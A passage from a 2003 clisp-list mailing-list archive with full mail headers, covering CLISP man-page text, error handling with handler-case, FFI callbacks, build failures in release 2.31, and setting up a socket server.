http://www.cs.cmu.edu/afs/cs.cmu.edu/project/ai- repository/ai/html/cltl/cltl2.html ("CLtL2" for short) and Guy L. Steele Jr.: Common Lisp - The Language. Digital Press. 1st edition 1984, 465 pages. ("CLtL1" for short) USE help to get some on-line help. (apropos name) lists the symbols relating to name. (exit) or (quit) or (bye) to quit clisp. EOF (Ctrl-D) to leave the current read-eval-print loop. arrow keys for editing and viewing the input history. Tab key to complete the symbol's name you are just typing. FILES clisp startup script lisp.run main executable lispinit.mem initial memory image config.lisp site-dependent configuration *.lisp lisp source *.fas lisp code, compiled by clisp *.lib lisp source library information, generated and used by the clisp compiler *.c C code, compiled from lisp source by clisp ENVIRONMENT CLISP_LANGUAGE specifies the language clisp uses to communicate with the user. The value may be english, deutsch, francais and defaults to english. The -L option can be used to override this environment variable. LC_CTYPE specifies the locale which determines the character set in use. The value can be of the form language or language_country or language_country.charset, where language is a two-letter ISO 639 language code (lower case), and country is a two-letter ISO 3166 country code (upper case). charset is an optional character set specification, and needs normally not be given because the character set can be inferred from the language and country. LANG specifies the language clisp uses to communicate with the user, unless it is already specified through the environment variable CLISP_LANGUAGE or the -L option. It also specifies the locale deter=AD mining the character set in use, unless already specified through the environment variable LC_CTYPE. The value may begin with a two-letter ISO 639 language code, for example en, de, fr. HOME and USER are used for determining the value of the function user-homedir-pathname. (Unix implementation only.) SHELL (Unix implementation only) is used to find the interactive command interpreter called by (shell). TERM determines the screen size recognized by the pretty printer. This environment variable is also manda=AD tory for the built-in screen editor. SEE ALSO impnotes.html, cmucl(1), xemacs(1). BUGS Not all extensions from CLtL2 are supported. No on-line documentation beyond apropos and describe is available. PROJECTS Writing on-line documentation. Enhance the compiler such that it can inline local func=AD tions. Specify a portable set of window and graphics operations. AUTHORS Bruno Haible and Michael Stoll. 31 March 2000 CLISP(1) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From rohan.nicholls@answerweb.nl Tue Sep 02 01:15:17 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19u6Jp-0005qF-00 for ; Tue, 02 Sep 2003 01:15:17 -0700 Received: from a80-126-71-213.adsl.xs4all.nl ([80.126.71.213] helo=exchange.venturekitchen.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19u6Jn-00044f-1L for clisp-list@lists.sourceforge.net; Tue, 02 Sep 2003 01:15:15 -0700 Received: by EXCHANGE with Internet Mail Service (5.5.2653.19) id ; Tue, 2 Sep 2003 10:19:22 +0200 Message-ID: From: Rohan Nicholls To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi all, I am looking for a content management system for a non-profit organization I am involved with, and as it is looking like I will be doing most of the development on it I would prefer a lisp or scheme based system. [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] Lisp based content management system? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 2 01:16:06 2003 X-Original-Date: Tue, 2 Sep 2003 10:19:21 +0200 Hi all, I am looking for a content management system for a non-profit organization I am involved with, and as it is looking like I will be doing most of the development on it I would prefer a lisp or scheme based system. The reason I am asking this on Clisp is one of the needs of the system is that it work on a variety of platforms, mainly *nix based and windows, and clisp fits the bill here. The basics of the cms would involve mostly web based publication, with good multi-language support as the core of the documentation to be made will be translated into a number of different languages. There will be a number of contributors, and a need for the look and feel to be relatively customizable (ie. "skins", but not much deeper) in look and feel. Thanks for any advise anyone can give, I have been googling away to little avail. Rohan From sds@gnu.org Tue Sep 02 12:04:55 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uGSV-0005xc-00 for ; Tue, 02 Sep 2003 12:04:55 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uGSU-0002Fl-LC for clisp-list@lists.sourceforge.net; Tue, 02 Sep 2003 12:04:54 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h82J4CD12163; Tue, 2 Sep 2003 15:04:13 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: amit phalgune Cc: clisp-list@lists.sourceforge.net References: <1857346968.20030902113423@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * In message > * On the subject of "CLISP command line options." > * Sent on Mon, 1 Sep 2003 22:38:59 -0700 (PDT) > * Honorable amit phalgune writes: > > Sorry for bothering you guys a lot. that's OK. just don't CC your messages to me and try poking around the web site. [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: CLISP command line options. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 2 12:05:08 2003 X-Original-Date: 02 Sep 2003 15:04:12 -0400 > * In message > * On the subject of "CLISP command line options." > * Sent on Mon, 1 Sep 2003 22:38:59 -0700 (PDT) > * Honorable amit phalgune writes: > > Sorry for bothering you guys a lot. that's OK. just don't CC your messages to me and try poking around the web site. > I tried to go through the socumentation of command line options for > CLISP and could not find anything useful. did you look at the FAQ? . -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a language for doing what you've been told is impossible. - Kent Pitman From sorokinru@iias.spb.su Wed Sep 03 01:09:45 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uSi1-0001TB-00 for ; Wed, 03 Sep 2003 01:09:45 -0700 Received: from [195.201.255.189] (helo=gw.iias.spb.su) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uSi0-00023u-2K for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 01:09:44 -0700 Received: from oogis-srp.oogis.iias.spb.su ([195.201.73.35]) by gw.iias.spb.su (8.9.3/8.9.3/IIAS) with ESMTP id MAA58041 for ; Wed, 3 Sep 2003 12:21:44 +0400 (MSD) From: sorokinru X-Mailer: The Bat! (v1.49) Reply-To: sorokinru Organization: IIAS X-Priority: 3 (Normal) Message-ID: <1823119125.20030903120935@iias.spb.su> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] How to handle errors automatically Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 01:10:20 2003 X-Original-Date: Wed, 3 Sep 2003 12:09:35 +0400 Hello clisp-list, I am a list newbi. I tried to handle errors with the UNWIND-PROTECT function, but CLISP stop execution and switch to break dialog. How to handle errors programmatically without execution breake? Thanks in advance. -- Sincerely, Ru mailto:sorokinru@iias.spb.su From dgou@mac.com Wed Sep 03 04:25:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uVlC-0005Nb-00 for ; Wed, 03 Sep 2003 04:25:14 -0700 Received: from a17-250-248-97.apple.com ([17.250.248.97] helo=smtpout.mac.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uVlC-0000br-Jq for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 04:25:14 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h83BP8Xn008176; Wed, 3 Sep 2003 04:25:08 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h83BP4wq015953; Wed, 3 Sep 2003 04:25:05 -0700 (PDT) Subject: Re: [clisp-list] How to handle errors automatically Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: sorokinru From: Douglas Philips In-Reply-To: <1823119125.20030903120935@iias.spb.su> Message-Id: <449D44F0-DE01-11D7-A7DF-000393030214@mac.com> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 04:26:04 2003 X-Original-Date: Wed, 3 Sep 2003 07:25:05 -0400 On Wednesday, Sep 3, 2003, at 04:09 US/Eastern, sorokinru wrote: > Hello clisp-list, > > I am a list newbi. I tried to handle errors with the UNWIND-PROTECT > function, but CLISP stop execution and switch to break dialog. How > to handle errors programmatically without execution breake? Thanks > in advance. > > -- > Sincerely, > Ru mailto:sorokinru@iias.spb.su UNWIND-PROTECT does not handle errors, it simply lets you run code as "your" stack is being exited. You probably want to use HANDLER-BIND or HANDLER-CASE, but without knowing more specificly what you're trying to do... I've found (so far) that CLISP conforms to the ANSI spec for CATCH/THROW/SIGNAL/HANDLER... ; Wed, 03 Sep 2003 05:03:28 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uWMB-0004DI-Nd for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 05:03:27 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Sep 2003 14:00:16 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Sep 2003 14:00:15 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0541A617@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: truly dynamic FFI in CVS MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 05:04:08 2003 X-Original-Date: Wed, 3 Sep 2003 14:00:14 +0200 Hi, Friday, August 08, 2003, 11:05:55 PM, somebody wrote: >>> It's a pity that def-call-in hardly can be made dynamic while it seems >>> crucial for typical event-driven windows app. >> well, this is caused by the non-dynamic nature of C/C++, right? >But you have already done dynamic parameter/result translation! How >about to made a fixed number of entry points/slots being defined by >def-call-in ? (and clisp being compiled as a shared library) I believe somebody is mislead. CLISP FFI has little problems with callbacks AFAIK. DEF-CALL-IN is not the way to go for dynamic callbacks. C/C++ is not the problem. If you want to install a callback (e.g. for an event driven loop), you need to invoke a def-call-out :library function which takes a C-FUNCTION object as parameter somewhere (or a C-STRUCT which contains such). A Lisp function passed as parameter thereof will be converted to a callback function pointer that the foreign (C/C++/xyz) world will receive and can use. Please try it out. Regards, Jorg Hohle. From pascal@informatimago.com Wed Sep 03 05:15:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uWXS-0002T0-00 for ; Wed, 03 Sep 2003 05:15:06 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uWXR-00084k-FA for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 05:15:06 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 40461B661C; Wed, 3 Sep 2003 14:14:54 +0200 (CEST) Message-ID: <16213.56126.225102.955233@thalassa.informatimago.com> To: sorokinru Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] How to handle errors automatically In-Reply-To: <1823119125.20030903120935@iias.spb.su> References: <1823119125.20030903120935@iias.spb.su> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 05:16:01 2003 X-Original-Date: Wed, 3 Sep 2003 14:14:54 +0200 sorokinru writes: > Hello clisp-list, >=20 > I am a list newbi. I tried to handle errors with the UNWIND-PROTECT > function, but CLISP stop execution and switch to break dialog. How > to handle errors programmatically without execution breake? Thanks in= advance. For this, I use handler-case: [2]> (handler-case (/ 1 0) (error (err) (format t "Got an error ~S~%" err) :infinity)) [9]> Got an error # :INFINITY --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From kraehe@copyleft.de Wed Sep 03 17:39:39 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ui9z-0005Z5-00 for ; Wed, 03 Sep 2003 17:39:39 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ui9y-0005lH-Uu for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 17:39:39 -0700 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with asmtp (Exim 4.21) id 19ui9W-0000q5-AW; Thu, 04 Sep 2003 02:39:10 +0200 Received: from dd350.pppool.de ([80.184.211.80] helo=bakunin.copyleft.de) by mx1.freenet.de with esmtp (Exim 4.21 #5) id 19ui9W-0001Vm-4B; Thu, 04 Sep 2003 02:39:10 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19ui9Z-0006NU-00; Thu, 04 Sep 2003 02:39:13 +0200 From: Michael Koehne To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Message-ID: <20030904003913.GA14093@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 17:40:31 2003 X-Original-Date: Thu, 4 Sep 2003 02:39:13 +0200 Moin Sam Steingold, > GNU CLISP 2.31 (2003-09-01) is now available from the usual distribution > sites. I just tried them, and I have bad news ;( 2.31 failed regression test with a segmentation fault on Debian/Woody (stable / gcc 2.95.4) and much before on Debian/Sarge (unstable / gcc 3.3.2). The Woody system is still able to compile 2.30 - while the Sarge system also fails on on clisp 2.30 - I'll step back to gcc 3.2.3 tomorrow. Woody (PPRINT-DISPATCH NIL T) OK: TYPE-ERROR (PPRINT-EXIT-IF-LIST-EXHAUSTED) OK: ERROR (PPRINT-INDENT NIL 2) OK: ERROR (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL :PREFIX 24))) OK: TYPE-ERROR (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL :PREFIX "a" :PER-LINE-PREFIX "b"))) OK: ERROR (PPRINT-NEWLINE :FRESH) OK: TYPE-ERROR (PPRINT-POP) OK: ERROR (PPRINT-TAB :PARAGRAPH 0 1) OK: ERROR (LET ((*PRINT-READABLY* T)) (PRINT-UNREADABLE-OBJECT (NIL *STANDARD-OUTPUT*))) OK: PRINT-NOT-READABLE (PRINT 1 2) make[1]: *** [tests] Segmentation fault make[1]: Leaving directory `/bakunin/export/home/kraehe/lisp/clisp-2.31/src/suite' make: *** [testsuite] Error 2 bakunin:~/lisp/clisp-2.31/src $ Sarge Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ... ;; Loaded file defmacro.lisp ;; Loading file macros1.lisp ... ;; Loaded file macros1.lisp ;; Loading file macros2.lisp ... ;; Loaded file macros2.lisp ;; Loading file defs1.lisp ... ;; Loaded file defs1.lisp ;; Loading file places.lisp ... ;; Loaded file places.lisp ;; Loading file floatprint.lisp ... ;; Loaded file floatprint.lisp ;; Loading file type.lisp ..../lisp.run: relocation error: /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER make: *** [interpreted.mem] Error 127 makhno:~/clisp-2.31/src $ Sarge - clisp 2.30 installing clisplow_fr.gmo as ../locale/fr/LC_MESSAGES/clisplow.mo installing es.gmo as ../locale/es/LC_MESSAGES/clisp.mo installing clisplow_es.gmo as ../locale/es/LC_MESSAGES/clisplow.mo installing nl.gmo as ../locale/nl/LC_MESSAGES/clisp.mo installing clisplow_nl.gmo as ../locale/nl/LC_MESSAGES/clisplow.mo installing ru.gmo as ../locale/ru/LC_MESSAGES/clisp.mo installing clisplow_ru.gmo as ../locale/ru/LC_MESSAGES/clisplow.mo make[1]: Leaving directory `/home/kraehe/clisp-2.30/src/po' rm -rf data mkdir data cd data && ln -s ../../utils/unicode/ftp.unicode.org/UnicodeData.txt . cd data && ln -s ../../src/clhs.txt . gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run sync ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" *** - FUNCALL: the function GRAY::STREAM-WRITE-CHAR-SEQUENCE is undefined 1. Break> -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From phalgune@jasper03.CS.ORST.EDU Wed Sep 03 17:52:09 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uiM4-0008K4-00 for ; Wed, 03 Sep 2003 17:52:08 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uiM3-0004gc-QA for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 17:52:07 -0700 Received: from jasper03.CS.ORST.EDU (jasper03.CS.ORST.EDU [128.193.39.110]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h840ptCb019737 for ; Wed, 3 Sep 2003 17:51:55 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper03.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h840pshB018972 for ; Wed, 3 Sep 2003 17:51:54 -0700 (PDT) From: amit phalgune To: clisp-list@lists.sourceforge.net In-Reply-To: <20030904003913.GA14093@bakunin.copyleft.de> Message-ID: References: <20030904003913.GA14093@bakunin.copyleft.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Sockets in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 17:53:08 2003 X-Original-Date: Wed, 3 Sep 2003 17:51:54 -0700 (PDT) Hi CLISP users, I am trying to create a clinet server application. The server side is in CLISP and the client is java. There are calls sent from Java to CLISP ( the server side). I have been through the impnotes.html about the Socket Streams. I am using the socket-server function with the port number as a parameter. The function returns me a socket number like : # , where 49152 is the port number ,I sent to te socket-server function. Now the client , when connecting to the LISP side ( I guess looks for a numeric value like : 6 or 7 ( basically the socket number in a numeric format.) I cannot change the client side code to accept the new format of the socket number. Can you guys suggest me how I can go about this whole thing, with the CLISP calls returning me a socket number ( numeric). If that is not poosible, can u let me know if I am using the correct function ( socket-server). Am I supposed to use socket-connect or socket-accept. P.S : I am trying the whole procedure on a windows machine. Thanks Amit From hin@van-halen.alma.com Wed Sep 03 18:57:27 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ujNH-0000vy-00 for ; Wed, 03 Sep 2003 18:57:27 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ujNH-0001XL-1c for clisp-list@lists.sourceforge.net; Wed, 03 Sep 2003 18:57:27 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 1381A10DE82; Wed, 3 Sep 2003 21:57:10 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h841v97G017975; Wed, 3 Sep 2003 21:57:09 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h841v9HD017972; Wed, 3 Sep 2003 21:57:09 -0400 Message-Id: <200309040157.h841v9HD017972@van-halen.alma.com> From: "John K. Hinsdale" To: phalgune@cs.orst.edu Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from amit phalgune on Wed, 3 Sep 2003 17:51:54 -0700 (PDT)) Subject: Re: [clisp-list] Sockets in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 3 18:58:04 2003 X-Original-Date: Wed, 3 Sep 2003 21:57:09 -0400 > I am trying to create a clinet server application. > The server side is in CLISP and the client is java. I think these days if you have such a setup you are encouraged to use the "SOAP" standard which lets you define a "web service." However, I know of no SOAP implementation for Lisp. Maybe I could do what I did w/ FastCGI and make bindings for a "C" implementation such as Apache Axis. Hmmmm... > I am using the socket-server function with the port number as a > parameter. Yes that it probably what you want for the server side in Lisp. > The function returns me a socket number like : # 0.0.0.0:49152> , where 49152 is the port number ,I sent to te > socket-server function. Actually the function SOCKET-SERVER does not returna number, but rather a Lisp of a special type, also called SOCKET-SERVER. E.g.: [1]> (setf s (socket-server 49152)) # [2]> (type-of s) SOCKET-SERVER [3]> (describe s) # is *** - The value of (TYPE-OF SYSTEM::OBJ) must be one of FOREIGN-POINTER, FFI:FOREIGN-ADDRESS, FFI:FOREIGN-VARIABLE, FFI:FOREIGN-FUNCTION, BYTE, SPECIAL-OPERATOR, LOAD-TIME-EVAL, SYMBOL-MACRO, MACRO, FUNCTION-MACRO, ENCODING, WEAK-POINTER, SYSTEM::READ-LABEL, SYSTEM::FRAME-POINTER, SYSTEM::SYSTEM-INTERNAL, ADDRESS The value is: SOCKET-SERVER 1. Break [4]> As you can see, a SOCKET-SERVER cannot be described; looks like a CLISP glitch since I believe you should be able to describe anything. > Now the client , when connecting to the LISP side ( I guess looks for > a numeric value like : 6 or 7 ( basically the socket number in a > numeric format.) What the client is really trying to do is establish the connection using two pieces of info: the IP address and the port number. The IP address and port the Java client uses is determined on the Java side. The port number used to create the SERVER-SOCKET in Lisp must agree with the port number used by the Java client. You are sure that port number 49152 is what is being used by Java? Is your Java client documented? If so it should tell you what port it users. If not, there are tools for GNU/Linux (tcpdump) that will let you observe what port Java is using. Consider GNU/Linux. > I cannot change the client side code to accept the new format of the > socket number. Can you guys suggest me how I can go about this whole > thing, with the CLISP calls returning me a socket number ( numeric). Once the CLISP function SOCKET-SERVER returns, your Lisp server program is in a state where it is not "listening" for connections. At this point the custom is to create a loop where you "accept" client connections. After each connection is accepted, you then handle the data traffic over the socket connection. Then the loop continues. FYI, there are two important flavors of such a loop: (1) where the handling of the connection is done in a separate thread of processing, launched by calling fork() or other call, and (2) where the handling is all done completely before the loop continues and accepts a new connection. But don't worry about this for now. > If that is not poosible, can u let me know if I am using the correct > function ( socket-server). Am I supposed to use socket-connect or > socket-accept. On the CLISP side, because it is the server, you would be using SOCKET-SERVER to being listening on the TCP port, and, in your loop, SOCKET-ACCEPT to handle connections from the client. You would not use SOCKET-CONNECT which is only relevant for the client side. > P.S : I am trying the whole procedure on a windows machine. The concepts for how TCP and sockets work are the same on Unix and windows. TCP/IP is the great bridge b/w Unix and Windows really. If I had a nickel for every time a Windows-based browser connected to a Unix-based Web server I'd be richer than Bill Gates. or maybe not. Hope this helps. Good luck. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Wed Sep 03 19:02:47 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 